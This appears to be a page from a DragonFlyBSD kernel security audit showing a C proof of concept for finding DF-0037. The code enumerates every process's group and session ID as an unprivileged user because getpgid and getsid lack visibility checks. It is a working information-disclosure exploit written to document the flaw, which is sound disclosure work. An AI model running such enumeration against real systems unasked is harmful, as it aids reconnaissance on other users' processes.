⬢ DragonFlyBSD Kernel Audit
DF-0037 / leak_pgid.c
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/*
 * DF-0037 PoC - sys_getpgid/sys_getsid lack cross-session visibility checks.
 *
 * sys_getpgid (kern_prot.c:106-131) and sys_getsid (:136-158) do
 * pfind(arbitrary pid) then return pt->p_pgrp->pg_id / pt->p_session->s_sid
 * with NO p_trespass/PRISON_CHECK/session-equality test. POSIX mandates EPERM
 * for out-of-session targets. Any local user can enumerate every process's
 * pgid/session-id.
 *
 * Build (DragonFlyBSD):  cc -o leak_pgid leak_pgid.c
 * Run as an UNPRIVILEGED user.
 */

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>

int
main(void)
{
	long seen = 0;
	for (pid_t p = 1; p < 100000; p++) {
		pid_t g = getpgid(p);
		if (g >= 0) {
			pid_t s = getsid(p);
			printf("pid %6d  pgid %6d  sid %6d\n", (int)p, (int)g, (int)s);
			seen++;
		}
	}
	printf("\n%ld processes' pgid/sid enumerated as uid=%d (no EPERM)\n",
	    seen, (int)getuid());
	return 0;
}